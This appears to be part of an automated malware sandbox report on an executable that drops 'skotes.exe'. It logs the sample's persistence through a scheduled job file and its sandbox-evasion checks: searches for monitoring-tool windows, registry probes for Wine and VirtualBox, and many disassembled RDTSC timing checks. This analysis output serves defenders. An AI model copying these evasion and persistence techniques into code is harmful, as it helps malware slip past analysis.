Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Creates job files (autostart)
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCC44C second address: CCC450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCB975 second address: CCB984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F15B904E926h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCB984 second address: CCB98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCB98A second address: CCB98E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCE9D6 second address: CCEAA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84193h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a xor dword ptr [esp], 17B040F5h 0x00000011 sub dx, E778h 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F15B8B84188h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 sbb si, 94B5h 0x00000037 push 00000000h 0x00000039 jbe 00007F15B8B84192h 0x0000003f push 00000003h 0x00000041 push 00000000h 0x00000043 push esi 0x00000044 call 00007F15B8B84188h 0x00000049 pop esi 0x0000004a mov dword ptr [esp+04h], esi 0x0000004e add dword ptr [esp+04h], 00000015h 0x00000056 inc esi 0x00000057 push esi 0x00000058 ret 0x00000059 pop esi 0x0000005a ret 0x0000005b mov ecx, 7DD4C3B3h 0x00000060 movsx esi, bx 0x00000063 push B6F90C00h 0x00000068 jmp 00007F15B8B84193h 0x0000006d xor dword ptr [esp], 76F90C00h 0x00000074 mov edx, dword ptr [ebp+122D3BBEh] 0x0000007a lea ebx, dword ptr [ebp+124538BCh] 0x00000080 mov dword ptr [ebp+122D1D15h], ecx 0x00000086 xchg eax, ebx 0x00000087 pushad 0x00000088 jmp 00007F15B8B84194h 0x0000008d push eax 0x0000008e push eax 0x0000008f push edx 0x00000090 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCEB35 second address: CCEBA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F15B904E928h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 add dword ptr [ebp+122D2588h], esi 0x0000002a push 00000000h 0x0000002c jmp 00007F15B904E937h 0x00000031 mov dl, ah 0x00000033 call 00007F15B904E929h 0x00000038 jc 00007F15B904E934h 0x0000003e push eax 0x0000003f push ecx 0x00000040 push esi 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCEBA0 second address: CCEC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b jmp 00007F15B8B84190h 0x00000010 jng 00007F15B8B84188h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b jmp 00007F15B8B84192h 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push ecx 0x00000025 push edx 0x00000026 jng 00007F15B8B84186h 0x0000002c pop edx 0x0000002d pop ecx 0x0000002e pop eax 0x0000002f pushad 0x00000030 call 00007F15B8B8418Eh 0x00000035 add dword ptr [ebp+122D1F60h], edx 0x0000003b pop ebx 0x0000003c call 00007F15B8B84194h 0x00000041 or di, F831h 0x00000046 pop eax 0x00000047 popad 0x00000048 push 00000003h 0x0000004a jnp 00007F15B8B8418Bh 0x00000050 push 00000000h 0x00000052 js 00007F15B8B8418Ch 0x00000058 push 00000003h 0x0000005a mov esi, dword ptr [ebp+122D1DD6h] 0x00000060 jmp 00007F15B8B84191h 0x00000065 call 00007F15B8B84189h 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F15B8B84197h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCEC6E second address: CCEC7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCEC7E second address: CCEC8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCEC8D second address: CCECB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F15B904E933h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCECB1 second address: CCED14 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F15B8B8418Eh 0x0000000b popad 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F15B8B84188h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D1D22h], ebx 0x0000002d mov dword ptr [ebp+122D2CFAh], ecx 0x00000033 lea ebx, dword ptr [ebp+124538C5h] 0x00000039 mov edx, dword ptr [ebp+122D3B4Eh] 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F15B8B8418Dh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCED14 second address: CCED1A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCEDA8 second address: CCEDD3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F15B8B84186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D1D43h], ebx 0x00000014 push 00000000h 0x00000016 mov edx, dword ptr [ebp+122D3C72h] 0x0000001c push A2EEBB73h 0x00000021 jc 00007F15B8B84190h 0x00000027 push eax 0x00000028 push edx 0x00000029 push edx 0x0000002a pop edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCEDD3 second address: CCEE38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 5D11450Dh 0x0000000d mov dx, ax 0x00000010 push 00000003h 0x00000012 sbb dx, 9F58h 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D1F97h], ebx 0x0000001f push 00000003h 0x00000021 add dword ptr [ebp+122D1C74h], edx 0x00000027 call 00007F15B904E929h 0x0000002c jmp 00007F15B904E939h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push edx 0x00000035 jmp 00007F15B904E937h 0x0000003a pop edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCEE38 second address: CCEE9F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F15B8B84188h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F15B8B84194h 0x00000015 mov eax, dword ptr [eax] 0x00000017 jno 00007F15B8B84192h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 jl 00007F15B8B8418Eh 0x00000027 jng 00007F15B8B84188h 0x0000002d push edi 0x0000002e pop edi 0x0000002f pop eax 0x00000030 jmp 00007F15B8B8418Bh 0x00000035 lea ebx, dword ptr [ebp+124538D0h] 0x0000003b mov dword ptr [ebp+122D2616h], edi 0x00000041 xchg eax, ebx 0x00000042 push edx 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CCEE9F second address: CCEEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CE13B6 second address: CE13BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CE13BA second address: CE13BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CE13BE second address: CE13CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F15B8B84186h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CF0431 second address: CF044A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E935h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CF044A second address: CF044F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CF044F second address: CF0455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CC1E57 second address: CC1E5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CC1E5B second address: CC1E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEE317 second address: CEE320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEE466 second address: CEE46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEE46C second address: CEE470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEE5D1 second address: CEE5EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E932h 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F15B904E926h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEE761 second address: CEE767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEF13D second address: CEF150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jg 00007F15B904E932h 0x0000000b jns 00007F15B904E926h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEF3B8 second address: CEF3ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84190h 0x00000007 ja 00007F15B8B84186h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F15B8B84199h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CE493E second address: CE494E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F15B904E926h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CE494E second address: CE4960 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jl 00007F15B8B8418Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CE4960 second address: CE4989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F15B904E93Bh 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F15B904E933h 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F15B904E926h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CE4989 second address: CE498D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CE498D second address: CE4991 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CE4991 second address: CE49A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F15B8B84186h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEFB1A second address: CEFB21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEFC8B second address: CEFC92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEFC92 second address: CEFCB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B904E939h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEFCB6 second address: CEFCBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEFE51 second address: CEFE55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CEFFCA second address: CEFFE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F15B8B84186h 0x0000000a pop edi 0x0000000b pushad 0x0000000c jl 00007F15B8B84186h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CF19A7 second address: CF19AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CF2BEA second address: CF2C22 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F15B8B84188h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push esi 0x00000011 pushad 0x00000012 jne 00007F15B8B84186h 0x00000018 jmp 00007F15B8B84197h 0x0000001d popad 0x0000001e pop esi 0x0000001f mov eax, dword ptr [eax] 0x00000021 push esi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CF2C22 second address: CF2C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CF6032 second address: CF6036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CB475D second address: CB476D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F15B904E926h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CB476D second address: CB4773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFB69B second address: CFB6A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFAB19 second address: CFAB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFAC5A second address: CFAC85 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F15B904E926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F15B904E939h 0x00000010 jnl 00007F15B904E926h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFAC85 second address: CFAC99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 jl 00007F15B8B84186h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFB366 second address: CFB379 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFB379 second address: CFB397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F15B8B84198h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFB397 second address: CFB3A8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F15B904E926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFF26F second address: CFF273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFF273 second address: CFF2BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push edx 0x0000000c jng 00007F15B904E926h 0x00000012 pop edx 0x00000013 pop ebx 0x00000014 nop 0x00000015 sub dword ptr [ebp+12461A4Bh], edi 0x0000001b xchg eax, ebx 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F15B904E934h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFF2BA second address: CFF2C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: CFF2C9 second address: CFF2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0013B second address: D0013F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0013F second address: D0019C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F15B904E928h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov si, A9BCh 0x00000026 mov edi, ebx 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c xor edi, dword ptr [ebp+122D202Fh] 0x00000032 xchg eax, ebx 0x00000033 push eax 0x00000034 jmp 00007F15B904E92Ch 0x00000039 pop eax 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F15B904E92Dh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D0019C second address: D001A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D001A0 second address: D001A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D001A6 second address: D001B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F15B8B84186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: D010F3 second address: D010F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
